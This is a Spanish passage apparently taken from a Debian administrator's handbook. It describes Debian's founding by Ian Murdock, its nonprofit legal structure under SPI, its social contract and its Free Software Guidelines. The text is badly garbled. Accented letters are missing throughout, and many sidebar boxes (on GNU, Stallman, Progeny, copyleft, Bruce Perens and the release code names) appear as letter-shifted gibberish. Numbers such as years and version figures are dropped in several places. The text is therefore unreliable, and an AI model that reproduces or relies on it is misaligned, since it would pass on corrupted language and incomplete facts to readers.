Cuando cre Debian en 1993, bajo la direccin de la FSF, Ian Murdock tena unos objetivos claros
que expres en el Manifiesto Debian (Debian Manifesto). El sistema operativo libre que buscaba
tendra que tener dos caractersticas principales. En primer lugar, la calidad: Debian se desarrollara con el mayor cuidado, para ser dignos del ncleo Linux. Tambin sera una distribucin
no comercial, lo suficientemente creble como para competir con las principales distribuciones
comerciales. Esta doble ambicin, a su modo de ver, slo poda lograrse mediante la apertura
del proceso de desarrollo de Debian al igual que la de Linux y del proyecto GNU. Por lo tanto, la
revisin entre pares mejorara continuamente el producto.
$6-563"
(/6 FM QSPZFDUP EF MB '4'

&M QSPZFDUP (/6 FT VO DPOKVOUP EF TPXBSF MJCSF EFTBSSPMMBEP P QBUSPDJOBEP


QPS MB k'SFF 4PXBSF 'PVOEBUJPO{ '4'
DSFBEP QPS TV MEFS FNCMFNUJDP FM
%S 3JDIBSE . 4UBMMNBO (/6 FT VO BDSOJNP SFDVSTJWP RVF TJHOJGJDB k(/6
OP FT 6OJY{

$6-563"
3JDIBSE 4UBMMNBO

&M GVOEBEPS EF MB '4' Z BVUPS EF MB MJDFODJB (1- 3JDIBSE . 4UBMMNBO B


NFOVEP DPOPDJEP QPS TVT JOJDBMFT 3.4
FT VO MEFS DBSJTNUJDP EFM NPWJNJFO
UP EFM 4PXBSF -JCSF %FCJEP B RVF FT JOUSBTJHFOUF FO TV QPTJDJO OP FT BENJ
SBEP EF GPSNB VOOJNF QFSP TVT DPOUSJCVDJPOFT OP UDOJDBT BM TPXBSF MJCSF
FO FM QMBOP KVSEJDP Z GJMPTGJDP
TPO SFTQFUBEBT QPS UPEP FM NVOEP

 6O TJTUFNB PQFSBUJWP NVMUJQMBUBGPSNB


$0.6/*%"%
&M WJBKF EF *BO .VSEPDL

&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

*BO .VSEPDL GVOEBEPS EFM QSPZFDUP %FCJBO GVF TV QSJNFS MEFS EFTEF  B
 -VFHP EF QBTBS MB CBUVUB B #SVDF 1FSFOT *BO UPN VO SPM NFOPT QCMJ
DP 7PMWJ B USBCBKBS EFUST EFM FTDFOBSJP EF MB DPNVOJEBE EF TPXBSF MJCSF
DSFBOEP MB FNQSFTB 1SPHFOZ DPO MB JOUFODJO EF QSPNPDJPOBS VOB EJTUSJCVDJO
EFSJWBEB EF %FCJBO &TUF QSPZFDUP GVF MBNFOUBCMFNFOUF VO GSBDBTP DPNFSDJBM
Z BCBOEPO TV EFTBSSPMMP -B DPNQBB MVFHP EF WBSJPT BPT BQFOBT TPCSF
WJWJFOEP DPNP VO TJNQMF QSPWFFEPS EF TFSWJDJPT FWFOUVBMNFOUF QSFTFOU TV
CBODBSSPUB FO BCSJM EF  %F MPT WBSJPT QSPZFDUPT JOJDJBEPT QPS 1SPHFOZ TMP
TPCSFWJWJ EJTDPWFS VOB IFSSBNJFOUB EF EFUFDDJO BVUPNUJDB EF IBSEXBSF

Debian, mantenindose fiel a sus principios iniciales, ha tenido tanto xito que, hoy en da, ha
alcanzado un tamao enorme. Las 13 arquitecturas que ofrece cubren 11 arquitecturas de hardware y 2 ncleos (Linux y FreeBSD). Por otra parte, con ms de 17300 paquetes fuente, el software
disponible puede satisfacer casi cualquier necesidad que uno pueda tener ya sea en casa o en la
empresa.
Slo el tamao de la distribucin puede ser un incoveniente: no es muy razonable distribuir
70 CD-ROMs para instalar la versin completa en un equipo estndar... es por eso que Debian es
considerada cada vez ms como una metadistribucin desde la que se pueden extraer distribuciones ms especficas orientada a un pblico en particular: Debian-Desktop para uso ofimtico
tradicional, Debian-Edu para uso educativo y pedaggico en entornos acadmicos, Debian-Med
para aplicaciones mdicas, Debian-Junior para nios, etc. Puede encontrar una lista ms completa de los subproyectos en la seccin dedicada a ese propsito, revise la Seccin 1.3.3.1, Subproyectos Debian existentes pgina 17.
Estas vistas parciales de Debian se organizan en un marco bien definido, lo que garantiza compatibilidad sin problemas entre las diferentes subdistribuciones. Todas ellas siguen la planificacin general para el lanzamiento de nuevas versiones. Y dado que estn construidas sobre la
misma base, pueden extenderse, completarse y personalizarse fcilmente con las aplicaciones
disponibles en los repositorios de Debian.
Todas las herramientas de Debian operan con esto en mente: debian-cd permite desde hace
tiempo crear conjuntos de CD-ROMs que slo contengan un conjunto de paquetes preseleccionados, debian-installer es tambin un instalador modular que se adapta fcilmente a las
necesidades especiales, APT permite instalar paquetes de varios orgenes garantizando al mismo
tiempo la consistencia global del sistema.
)&33".*&/5"
$SFBOEP VO $%30. EF
%FCJBO

debian-cd DSFB JNHFOFT *40 QBSB NFEJPT EF JOTUBMBDJO $% %7% #MV3BZ

70-7&3 " -04


$*.*&/504
1BSB DBEB FRVJQP TV
BSRVJUFDUVSB

&M USNJOP kBSRVJUFDUVSB{ JOEJDB VO UJQP EF FRVJQP FOUSF MPT NT DPOPDJEPT


TF FODVFOUSBO .BD P 1$
 $BEB BSRVJUFDUVSB TF EJGFSFODJB QSJODJQBMNFOUF QPS
TV UJQP EF QSPDFTBEPS OPSNBMNFOUF JODPNQBUJCMFT DPO PUSPT QSPDFTBEPSFT &T
UBT EJGFSFODJBT FO FM IBSEXBSF JNQMJDBO EJGFSFOUFT GPSNBT EF GVODJPOBNJFOUP
QPS MP RVF FT OFDFTBSJP RVF TF DPNQJMF FM TPXBSF FTQFDGJDBNFOUF QBSB DBEB
BSRVJUFDUVSB

FUD
MJTUBT QBSB VTBS $VBMRVJFS BTVOUP SFMBDJPOBEP DPO FTUF TPXBSF TF EJTDVUF
FO JOHMT
FO MB MJTUB EF DPSSFP EFCJBODE!MJTUTEFCJBOPSH

-B NBZPSB EFM TPXBSF EJTQPOJCMF FO %FCJBO FTU FTDSJUP FO MFOHVBKFT EF QSP


HSBNBDJO BEBQUBCMFT kQPSUBCMF{
 FM NJTNP DEJHP GVFOUF TF QVFEF DPNQJMBS
QBSB WBSJBT BSRVJUFDUVSBT &O FGFDUP VO CJOBSJP FKFDVUBCMF TJFNQSF DPNQJMBEP
QBSB VOB BSRVJUFDUVSB FTQFDGJDB QPS MP HFOFSBM OP GVODJPOBS FO PUSBT BSRVJ
UFDUVSBT
3FDVFSEF RVF DBEB QSPHSBNB FT DSFBEP FTDSJCJFOEP DEJHP GVFOUF FTUF DEJHP
GVFOUF FT VO BSDIJWP EF UFYUP DPNQVFTUP QPS JOTUSVDDJPOFT FO VO EFUFSNJOBEP
MFOHVBHF EF QSPHSBNBDJO "OUFT EF QPEFS VUJMJ[BS FM TPXBSF FT OFDFTBSJP
DPNQJMBS FM DEJHP GVFOUF MP RVF TJHOJGJDB USBOTGPSNBS FM DEJHP FO VO CJOBSJP
VOB TFSJF EF JOTUSVDDJPOFT EF NRVJOB FKFDVUBCMF QPS FM QSPDFTBEPS
 $BEB

$BQUVMP  & M QSPZFDUP %FCJBO

MFOHVBKF EF QSPHSBNBDJO UJFOF VO DPNQJMBEPS FTQFDGJDP QBSB FKFDVUBS FTUB


PQFSBDJO QPS FKFNQMP gcc QBSB FM MFOHVBKF EF QSPHSBNBDJO $


)&33".*&/5"
&M JOTUBMBEPS

FT FM OPNCSF EFM QSPHSBNB EF JOTUBMBDJO EF %FCJBO 4V


EJTFP NPEVMBS QFSNJUF RVF TFB VTBEP FO VO BNQMJP SBOHP EF FTDFOBSJPT &M
USBCBKP EFTBSSPMMP FT DPPSEJOBEP FO MB MJTUB EF DPSSFP EFCJBOCPPU!MJTUTEFC
JBOPSH CBKP MB EJSFDDJO EF +PFZ )FTT Z $ZSJM #SVMFCPJT
debian-installer

 -B DBMJEBE EFM TPXBSF MJCSF


Debian sigue todos los principios del Software Libre y sus nuevas versiones no se publican hasta
que estn listas. Los desarrolladores no se ven obligados ni presionados a trabajar ms rpido
para cumplir con un plazo arbitrario. Las personas se quejan con frecuencia del largo tiempo
entre versiones estables de Debian, pero esta precaucin tambin garantiza la legendaria fiabilidad de Debian: son realmente necesarios largos meses de pruebas para que la distribucin
completa reciba la etiqueta estable.
Debian no realizar compromisos en cuanto a calidad: todos los errores crticos conocidos se resuelven en cada nueva versin, incluso si esto requiere retrasar la fecha de lanzamiento prevista
inicialmente.

 &M NBSDP MFHBM VOB PSHBOJ[BDJO TJO OJNP EF MVDSP


Legalmente hablando, Debian es un proyecto gestionado por una asociacin de voluntarios
norteamericana sin fines de lucro. El proyecto cuenta alrededor de un millar de desarrolladores
Debian pero agrupa a un nmero mucho mayor de colaboradores (traductores, informadores de
errores, artistas, desarrolladores casuales, etc.).
Para llevar su misin a buen trmino, Debian cuenta con una gran infraestructura con muchos
servidores conectados a travs de Internet ofrecidos por muchos patrocinadores.
$0.6/*%"%
%FUST EF %FCJBO MB
BTPDJBDJO 41* Z MBT GJMJBMFT
MPDBMFT

%FCJBO OP QPTFF TFSWJEPS BMHVOP CBKP TV OPNCSF ZB RVF TMP FT VO QSPZFDUP


EFOUSP EF MB BTPDJBDJO k4PXBSF JO UIF 1VCMJD *OUFSFTU{ 41* k4PXBSF FO
FM JOUFST QCMJDP{
MB DVBM BENJOJTUSB FM IBSEXBSF Z MPT BTQFDUPT FDPONJDPT
EPOBDJPOFT DPNQSB EF FRVJQPT FUD
 4J CJFO GVF PSJHJOBMNFOUF DSFBEB QBSB FM
QSPZFDUP %FCJBO FTUB BTPDJBDJO BIPSB BMCFSHB PUSPT QSPZFDUPT EF TPXBSF
FO FTQFDJBM MB CBTF EF EBUPT 1PTUHSF42- 'SFFEFTLUPQPSH QSPZFDUP QBSB MB
FTUBOEBSJ[BDJO EF WBSJBT QBSUFT EF MPT FOUPSOPT HSGJDPT EF FTDSJUPSJPT DPNP
(/0.& Z ,%&
Z FM DPOKVOUP PGJNUJDP -JCSF 0JDF
http://www.spi-inc.org/

"EFNT EF 41* WBSJBT BTPDJBDJPOFT MPDBMFT DPMBCPSBO FTUSFDIBNFOUF DPO %F


CJBO DPO FM GJO EF HFOFSBS GPOEPT QBSB %FCJBO TJO RVF FTU UPEP DFOUSBMJ[B
EP FO &&66 FO FM MVOGBSEP %FCJBO TF MPT DPOPDF DPNP k5SVTUFE 0SHBOJ
[BUJPOT{ kPSHBOJ[BDJPOFT EF DPOGJBO[B{
 &TUB DPOGJHVSBDJO FWJUB MPT DPTUPT

&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

QSPIJCJUJWPT EF MBT USBOTGFSFODJBT JOUFSOBDJPOBMFT Z FODBKB QFSGFDUBNFOUF DPO


MB OBUVSBMF[B EFTDFOUSBMJ[BEB EFM QSPZFDUP
4J CJFO MB MJTUB EF PSHBOJ[BDJPOFT EF DPOGJBO[B FT SFMBUJWBNFOUF DPSUB FYJTUFO
NVDIBT NT BTPDJBDJPOFT SFMBDJPOBEBT DPO %FCJBO DVZP PCKFUJWP FT QSPNP
DJPOBS %FCJBO %FCJBO 'SBODF %FCJBO6, %FCJBO&4 EFCJBODI Z PUSBT BMSFEF
EPS EFM NVOEP a/P EVEF FO VOJSTF B TV BTPDJBDJO MPDBM QBSB SFTQBMEBS FM
QSPZFDUP
http://wiki.debian.org/Teams/Auditor/Organizations
http://france.debian.net/
http://wiki.earth.li/DebianUKSociety
http://www.debian-es.org/
http://debian.ch/

 -PT EPDVNFOUPT EF GVOEBDJO


Unos aos despus de su lanzamiento inicial, Debian formaliz los principios que deba seguir
como proyecto de software libre. Esta decisin activista permite un crecimiento ordenado y
pacfico asegurando que todos sus miembros avancen en la misma direccin. Para ser un desarrollador Debian, cualquier candidato debe confirmar y demostrar su apoyo y adhesin a los
principios establecidos en los documentos de fundacin del proyecto.
Se debate constantemente acerca del proceso de desarrollo, pero los documentos de fundacin
han sido apoyados de forma amplia y consensuada, por lo que rara vez cambian. La constitucin
de Debian tambin ofrece otras garantas para su estabilidad: se necesita una mayora calificada
de tres cuartas partes para aprobar cualquier cambio.

 &M DPNQSPNJTP IBDJB MPT 6TVBSJPT


El proyecto tambin tiene un contrato social. Qu lugar tiene dicho texto en un proyecto
diseado nicamente para el desarrollo de un sistema operativo? Tiene una explicacin bastante
simple: el trabajo de Debian es para sus usuarios, y por lo tanto, por extensin, para la sociedad.
Este contrato resume los compromisos que asume el proyecto. Vamos a analizarlos con mayor
detalle:
1. Debian permanecer libre 100 %.
Esta es la regla nmero 1. Debian est y permanecer conformado entera y exclusivamente
por software libre. Adems, todo el desarrollo de software dentro del proyecto Debian
ser, en s mismo, libre.
1&341&$5*7"
.T BMM EFM TPXBSF

-B QSJNFSB WFSTJO EFM DPOUSBUP TPDJBM EF %FCJBO EFDB k%FCJBO QFS


NBOFDFS TPXBSF MJCSF  { -B EFTBQBSJDJO EF EJDIB QBMBCSB FO
MB SBUJGJDBDJO EF MB WFSTJO  EFM DPOUSBUP FO BCSJM EF 
JOEJDB MB
WPMVOUBE EF MPHSBS MJCFSUBE OP TMP FO TPXBSF TJOP UBNCJO FO MB EPD

$BQUVMP  & M QSPZFDUP %FCJBO

VNFOUBDJO Z UPEP PUSP FMFNFOUP RVF %FCJBO EFTFF QSPWFFS EFOUSP EF


TV TJTUFNB PQFSBUJWP
&TUF DBNCJP RVF GVF QFOTBEP OJDBNFOUF EF GPSNB FEJUPSJBM IB UFOJEP
FO SFBMJEBE OVNFSPTBT DPOTFDVFODJBT TPCSF UPEP DPO MB FMJNJOBDJO EF
BMHVOB EPDVNFOUBDJO QSPCMFNUJDB "EFNT FM DBEB WF[ NBZPS VTP
EF GJSNXBSF FO MPT DPOUSPMBEPSFT QMBOUFB QSPCMFNBT NVDIPT OP TPO MJ
CSFT QFSP TPO OFDFTBSJPT QBSB FM DPSSFDUP GVODJPOBNJFOUP EFM IBSEXBSF
DPSSFTQPOEJFOUF

2. Vamos a devolverle a la comunidad de software libre.


Cualquier mejora que el proyecto Debian contribuye a un trabajo integrado en la distribucin es enviado al autor de dicho trabajo (el origen, llamado upstream en ingls). En
general, Debian cooperar con la comunidad antes que trabajar aislado.
$0.6/*%"%
"VUPS PSJHJOBM P
EFTBSSPMMBEPS %FCJBO

&M USNJOP kBVUPS PSJHJOBM{ IBDF SFGFSFODJB B FM P MPT BVUPSFT P EFTBS


SPMMBEPSFT EF VO QSPHSBNB MPT RVF MP FTDSJCFO Z MP IBO EFTBSSPMMBEP
1PS PUSP MBEP VO kEFTBSSPMMBEPS %FCJBO{ USBCBKB DPO VO QSPHSBNB FYJT
UFOUF QBSB DPOWFSUJSMP FO VO QBRVFUF %FCJBO FM USNJOP kSFTQPOTBCMF{
kNBOUBJOFS{ FO JOHMT %FCJBO FT NT BEFDVBEP

&O MB QSDUJDB MB EJTUJODJO OP FT UBO DMBSB &M SFTQPOTBCMF FO %FCJBO
QVFEF FTDSJCJS VO QBSDIF RVF CFOFGJDJF B UPEPT MPT VTVBSJPT EF EJDIP
USBCBKP &O HFOFSBM %FCJBO GPNFOUB B MPT FODBSHBEPT EF VO QBRVFUF FO
%FCJBO B RVF TF JOWPMVDSFO UBNCJO FO FM EFTBSSPMMP PSJHJOBM DPOWJS
UJOEPTF FOUPODFT FO DPOUSJCVZFOUFT TJO MJNJUBSTF BM SPM EF TFS TJNQMFT
VTVBSJPT EFM QSPHSBNB


3. No esconderemos los problemas.


Debian no es perfecto y nos enfrentaremos con nuevos problemas a solucionar todos los
das. En todo momento mantendremos toda nuestra base de datos de errores abierta para
el pblico. Los informes que presenten las personas online se har visible a los dems
rpidamente.
4. Nuestras prioridades son nuestros usuarios y el software libre.
Este compromiso es ms difcil de definir. Debian impone, por lo tanto, una parcialidad
al momento de tomar una decisin y descartar una solucin sencilla para los desarrolladores que ponga en riesgo la experiencia de los usuarios, prefiriendo una solucin ms
elegante an cuando sea ms difcil de implementar. Esto implica tomar en cuenta, como
prioridad, los intereses de los usuarios y el software libre.
5. Trabajos que no cumplan nuestros estndares de software libre.
Debian acepta y entiende que los usuarios pueden desear utilizar programas no libres.
Es por eso que el proyecto permite el uso de partes de su infraestructura para distribuir
paquetes Debian de software no libre que puede ser redistribuido de forma segura.
$0.6/*%"%
" GBWPS P FO DPOUSB EF MB
TFDDJO OP MJCSF
kOPOGSFF{

&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

'SFDVFOUFNFOUF FM DPNQSPNJTP EF NBOUFOFS VOB FTUSVDUVSB QBSB JO


DMVJS TPXBSF OP MJCSF FT EFDJS MB TFDDJO kOPOGSFF{ SFWJTF FM SF
DVBESP k -PT DPNQFOEJPT main contrib Z non-free{ QHJOB 
FT
UFNB EF EFCBUF EFOUSP EF MB DPNVOJEBE %FCJBO

-PT EFUSBDUPSFT BSHVNFOUBO RVF BMFKB B MB HFOUF EF FRVJWBMFOUFT MJCSFT


Z TF DPOUSBEJDF DPO FM QSJODJQJP EF TFSWJS TMP B MB DBVTB EF TPXBSF MJ
CSF -PT EFGFOTPSFT TJNQMFNFOUF EJDFO RVF MB NBZPSB EF MPT QSPHSBNBT
OP MJCSFT TPO kDBTJ MJCSFT{ MJNJUBEPT QPS TMP VOB P EPT SFTUSJDDJPOFT
NPMFTUBT TJFOEP MB QSPIJCJDJO EF VTP DPNFSDJBM EFM TPXBSF MB NT
DPNO
 "M EJTUSJCVJS FTUPT USBCBKPT DPNP OP MJCSFT JOEJSFDUBNFOUF FY
QMJDBNPT BM BVUPS RVF TV DSFBDJO TFSB NT DPOPDJEB Z VUJMJ[BEB QPS
NT QCMJDP TJ QVEJFSB TFS JODMVJEB FO MB TFDDJO HFOFSBM kNBJO{
 4F
MPT JOWJUB QPS MP UBOUP B BMUFSBS TV MJDFODJB DPO EJDIP QSPQTJUP
-B FMJNJOBDJO EF MB TFDDJO OP MJCSF MVFHP EF VO QSJNFS F JOGSVDUV
PTP JOUFOUP FO  OP EFCFSB BQBSFDFS FO MB BHFOEB QPS WBSJPT BPT
FTQFDJBMNFOUF QPSRVF DPOUJFOF NVDIPT EPDVNFOUPT UJMFT RVF GVFSPO
NPWJEPT TJNQMFNFOUF QPSRVF OP DVNQMFO MPT OVFWPT SFRVFSJNJFOUPT
QBSB MB TFDDJO QSJODJQBM &O QBSUJDVMBS UBM FT FM DBTP EF DJFSUPT BSDIJWPT
EF EPDVNFOUBDJO EFM QSPZFDUP (/6 &NBDT Z .BLF

-B FYJTUFODJB DPOUJOVB EF MB TFDDJO OP MJCSF FT GVFOUF FTQPSEJDB EF
GSJDDJPOFT DPOB MB 'VOEBDJO EF TPXBSF MJCSF k'SFF 4PXBSF 'PVO
EBUJPO{
Z FT MB QSJODJQBM DBVTB QPS MB RVF TF OJFHB B SFDPNFOEBS PGJ
DJBMNFOUF B %FCJBO DPNP TJTUFNB PQFSBUJWP

 -BT EJSFDUSJDFT EF TPXBSF MJCSF EF %FCJBO


Este documento de referencia define qu software es suficientemente libre para ser incluido
en Debian. Si la licencia del programa es acorde a dichos principios, ste puede ser incluido en
la seccin principal; caso contrario, siempre que se lo pueda distribuir libremente, se lo podr
encontrar en la seccin no libre. La seccin no libre no es oficialmente parte de Debian, es un
servicio adicional provisto a los usuarios.
Ms que un criterio de seleccin para Debian, este texto se convirti en autoridad en materia de
software libre y sirvi como la base para la Definicin de cdigo abierto (Open Source Definition). Histricamente es una de las primeras definiciones formales del concepto de software
libre.
La Licencia Pblica General GNU, la Licencia BSD y la Licencia Artstica son ejemplos de licencias
libres tradicionales que son conformes a los 9 puntos mencionados en este texto. Abajo encontrar el texto como es publicado en el sitio web de Debian.
http://www.debian.org/social_contract#guidelines
1. Redistribucin libre. La licencia de un componente de Debian no puede restringir a un
tercero el vender o entregar el programa como parte de una distribucin mayor que contiene programas de diferentes fuentes. La licencia no debe solicitar regalas u otras comisiones por dicha venta.
70-7&3 " -04
$*.*&/504
-JDFODJBT MJCSFT

-B MJDFODJB (/6 (1- MB -JDFODJB #4% Z MB -JDFODJB "SUTUJDB DVNQMFO


MBT %JSFDUSJDFT EF TPXBSF MJCSF EF %FCJBO BO DVBOEP TPO NVZ EJGFS
FOUFT FOUSF T
-B (/6 (1- VUJMJ[BEB Z QSPNPDJPOBEB QPS MB '4' kGVOEBDJO EF TP
XBSF MJCSF{ QPS TVT TJHMBT FO JOHMT
FT MB NT DPNO 4V QSJODJQBM

$BQUVMP  & M QSPZFDUP %FCJBO

QBSUJDVMBSJEBE FT RVF UBNCJO BQMJDB B UPEB PCSB EFSJWBEB RVF FT SFEJT


USJCVJEB VO QSPHSBNB RVF JODPSQPSB P VUJMJ[B DEJHP (1- TMP QVFEF
TFS EJTUSJCVJEP TFHO TVT USNJOPT 1SPICF QPS MP UBOUP UPEB SFVUJ
MJ[BDJO FO VOB BQMJDBDJO QSJWBUJWB &TUP TVQPOF TFSJPT QSPCMFNBT QBSB
MB SFVUJMJ[BDJO EF DEJHP (1- FO TPXBSF MJCSF RVF OP FT DPNQBUJCMF
DPO FTUB MJDFODJB %F FTB GPSNB FT B WFDFT JNQPTJCMF FOMB[BS VO QSP
HSBNB QVCMJDBEP CBKP PUSB MJDFODJB EF TPXBSF MJCSF DPO VOB CJCMJPUFDB
EJTUSJCVJEB CBKP MB (1- 1PS FM PUSP MBEP FTUB MJDFODJB FT NVZ TMJEB
TFHO MFZFT OPSUFBNFSJDBOBT MPT BCPHBEPT EF MB '4' QBSUJDJQBSPO FO
TVT QSJNFSBT SFWJTJPOFT Z HFOFSBMNFOUF GPS[BSPO B RVF USBOTHFTPSFT
MMFHBSBO B BDVFSEPT BNJHBCMFT DPO MB '4' TJO MMFHBS B MB DPSUF
http://www.gnu.org/copyleft/gpl.html
-B MJDFODJB #4% FT MB NFOPT SFTUSJDUJWB UPEP FTU QFSNJUJEP JODMVTJWF
FM VTP EF DEJHP #4% NPEJGJDBEP FO VOB BQMJDBDJO QSJWBUJWB "O .J
DSPTP MB VUJMJ[B CBTBOEP MB DBQB 5$1*1 EF 8JOEPXT /5 FO MB EFM
ODMFP #4%
http://www.opensource.org/licenses/bsd-license.php
'JOBMNFOUF MB MJDFODJB BSUTUJDB FT VO DPNQSPNJTP FOUSF MBT PUSBT EPBT
TF QFSNJUF MB JOUFHSBDJO EF DEJHP FO VOB BQMJDBDJO QSJWBUJWB QFSP
DVBMRVJFS NPEJGJDBDJO UJFOF RVF TFS QVCMJDBEB
http://www.opensource.org/licenses/artistic-license-2.0.
php

&M UFYUP DPNQMFUP EF FTUBT MJDFODJBT TF FODVFOUSB EJTQPOJCMF FO UPEPT


MPT TJTUFNBT %FCJBO FO /usr/share/common-licenses/

2. Cdigo fuente. El programa debe incluir el cdigo fuente completo, y debe permitir la
distribucin en forma de cdigo fuente y en forma compilada (binario).
3. Trabajos derivados. La licencia debe permitir modificaciones y trabajos derivados y debe
permitir que estos se distribuyan bajo los mismos trminos que la licencia del programa
original.
4. Integridad del cdigo fuente del autor. La licencia puede restringir la distribucin del
cdigo fuente en forma modificada slo si la licencia permite la distribucin de parches
(patch files) para poder modificar el cdigo fuente original del programa en el momento
de compilarlo. La licencia debe permitir explcitamente la distribucin de software a partir de cdigo fuente modificado. La licencia puede obligar a los trabajos derivados a llevar
un nombre o nmero de versin diferentes del programa original (Esto es un compromiso.
El grupo de Debian anima a todos los autores a no restringir ningn archivo, fuente o compilado, de
ser modificado).
5. No discriminacin contra personas o grupos. La licencia no debe discriminar a ninguna
persona o grupo de personas.
6. No discriminacin en funcin de la finalidad perseguida. La licencia no puede restringir el uso del programa para una finalidad determinada. Por ejemplo, no puede restringir el uso del programa a empresas con fines comerciales, o en investigacin gentica.
7. Distribucin de la licencia. Los derechos asociados al programa deben aplicarse en la
misma forma a todos aquellos a los que se redistribuya el programa, sin necesidad de pedir
una licencia adicional para estas terceras partes.

&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

8. La licencia no debe ser especfica para Debian. Los derechos asociados al programa no
deben depender de que el programa sea parte o no del sistema Debian. Si el programa
es extrado de Debian y usado o distribuido sin Debian, pero manteniendo el resto de las
condiciones de la licencia, todos aquellos a los que el programa se redistribuya deben tener
los mismos derechos que los dados cuando forma parte de Debian.
9. La licencia no debe contaminar a otros programas. La licencia no debe poner restricciones sobre otros programas que se distribuyan junto con el programa licenciado. Por
ejemplo, la licencia no puede insistir que todos los dems programas distribuidos sobre el
mismo medio deben ser software libre.
70-7&3 " -04
$*.*&/504
k$PQZMF{

$0.6/*%"%
#SVDF 1FSFOT VO MEFS
QPMNJDP

&M kDPQZMF{ FT VO QSJODJQJP RVF DPOTJTUF FO VUJMJ[BS MPT EFSFDIPT EF


BVUPS kDPQZSJHIU{ FO JOHMT
QBSB HBSBOUJ[BS MB MJCFSUBE EF VOB PCSB
Z TVT EFSJWBEPT FO MVHBS EF SFTUSJOHJS MPT EFSFDIPT EF VTP DPNP FT FM
DBTP DPO FM TPXBSF QSJWBUJWP &T UBNCJO VO KVFHP EF QBMBCSBT TPCSF
FM USNJOP kDPQZSJHIU{ QPS TFS kSJHIU{ Z kMF{ EFSFDIB F J[RVJFSEB
SFTQFDUJWBNFOUF
 3JDIBSE 4UBMMNBO EFTDVCSJ MB JEFB DVBOEP VO BNJHP
TVZP BGJDJPOBEP B MPT KVFHPT EF QBMBCSBT FTDSJCJ FO VO TPCSF EJSJHJEP
B M kDPQZMF UPEPT MPT EFSFDIPT JOWFSUJEPT{ kDPQZMF BMM SJHIUT SF
WFSTFE{
 &M kDPQZMF{ JNQPOF MB QSFTFSWBDJO EF UPEBT MBT MJCFSUBEFT
JOJDJBMFT TPCSF MB EJTUSJCVDJO EF VOB WFSTJO PSJHJOBM P NPEJGJDBEB EF
VO QSPHSBNB 1PS UBOUP OP FT QPTJCMF EJTUSJCVJS VO QSPHSBNB DPNP
TPXBSF QSJWBUJWP TJ TF IB HFOFSBEP B QBSUJS EFM DEJHP EF VO QSPHSB
NB kDPQZMF{
-B GBNJMJB EF MJDFODJBT DPQZMF NT DPOPDJEB FT MB (/6 (1- Z TVT
EFSJWBEBT MB (/6 -(1- k-JDFODJB 1CMJDB (FOFSBM 3FEVDJEB (/6{
QPS TVT TJHMBT FO JOHMT
Z MB (/6 '%- k-JDFODJB -JCSF QBSB %PDV
NFOUBDJO (/6{ QPS TVT TJHMBT FO JOHMT
 1PS EFTHSBDJB MBT MJDFODJBT
DPQZMF TPO JODPNQBUJCMFT VOBT DPO PUSBT QPS MP RVF FT NFKPS FNQMFBS
TMP VOB EF FMMBT

#SVDF 1FSFOT GVF FM TFHVOEP MEFS EFM QSPZFDUP %FCJBO KVTUP EFTQVT EF *BO
.VSEPDL 'VF NVZ QPMNJDP QPS TVT NUPEPT EJONJDPT Z BVUPSJUBSJPT 4JO
FNCBSHP TV DPOUSJCVDJO B %FCJBO IB TJEP NVZ JNQPSUBOUF DPO RVJFO %FCJBO
UJFOF VOB EFVEB FTQFDJBM QPS MB DSFBDJO EF MBT GBNPTBT k%JSFDUSJDFT EF TP
XBSF MJCSF EF %FCJBO{ k%'4({ QPS TVT TJHMBT FO JOHMT
VOB JEFB PSJHJOBM EF
&BO 4DIVFTTMFS 1PTUFSJPSNFOUF #SVDF EFSJWBSB EF FTUF EPDVNFOUP MB GBNPTB
k%FGJOJDJO EF DEJHP BCJFSUP{ k0QFO 4PVSDF %FGJOJUJPO{
FMJNJOBOEP UPEBT
MBT SFGFSFODJBT TPCSF %FCJBO
http://www.opensource.org/

4V QBSUJEB EFM QSPZFDUP GVF CBTUBOUF FNPUJWB QFSP #SVDF IB QFSNBOFDJEP FT
USFDIBNFOUF MJHBEP B %FCJBO ZB RVF DPOUJOB QSPNPWJFOEP MB EJTUSJCVDJO FO
FTGFSBT QPMUJDBT Z FDPONJDBT &TQPSEJDBNFOUF BQBSFDF BO FO MBT MJTUBT EF
DPSSFP QBSB PGSFDFS TV DPOTFKP Z QSFTFOUBS TVT MUJNBT JODJBUJWBT FO GBWPS EF
%FCJBO
$PNP MUJNB BODEPUB GVF #SVDF FM SFTQPOTBCMF EF JOTQJSBS MPT EJGFSFOUFT
kOPNCSF DEJHP{ QBSB MBT WFSTJPOFT EF %FCJBO  3FY  #V[[ 
#P  ) BNN  4MJOL  1PUBUP  8PPEZ  4BSHF 
& UDI  -FOOZ  4RVFF[F  8IFF[Z 5FTUJOH +FTTJF 6OTUBCMF
4JE
 4PO UPNBEBT EF OPNCSFT EF QFSTPOBKFT EF MB QFMDVMB k5PZ 4UPSZ{ &TUF

$BQUVMP  & M QSPZFDUP %FCJBO

MBSHPNFUSBKF BOJNBEP DPNQMFUBNFOUF DPNQVFTUP EF HSGJDPT HFOFSBEPT QPS


DPNQVUBEPSB GVF QSPEVDJEP QPS 1JYBS 4UVEJPT QBSB RVJFO #SVDF USBCBKBCB BM
NPNFOUP EF MJEFSBS FM QSPZFDUP %FCJBO &M OPNCSF k4JE{ UJFOF VOB DBSBDUFST
UJDB QBSUJDVMBS ZB RVF FTUBS TJFNQSF BTPDJBEB B MB SBNB JOFTUBCMF 6OTUBCMF &O
MB QFMDVMB FTUF QFSTPOBKF FSB FM OJP WFDJOP RVF TJFNQSF SPNQB KVHVFUFT
QPS MP RVF UFOHB DVJEBEP BM BDFSDBSTF EFNBTJBEP B 6OTUBCMF 1PS PUSP MBEP 4JE
FT UBNCJO BDSOJNP EF kBO FO EFTBSSPMMP{ k4UJMM *O %FWFMPQNFOU{


 &M GVODJPOBNJFOUP JOUFSOP EFM QSPZFDUP %FCJBO


El abuntantes resultados producidos por el proyecto Debian derivan simultneamente del trabajo de sus desarrolladores experimentados en la infraestructura, trabajo individual o grupal de
desarrolladores en paquetes Debian y comentarios y sugerencias de usuarios.

 -PT EFTBSSPMMBEPSFT %FCJBO


Los desarrolladores Debian tienen varias responsabilidades y, como miembros oficiales del
proyecto, tienen una gran influencia en la direccin del mismo. Un desarrollador Debian generalmente es responsable de al menos un paquete, pero segn su tiempo disponible y su voluntad
son libres de involucrarse en varios grupos obteniendo, as, ms responsabilidades dentro del
proyecto.
http://www.debian.org/devel/people
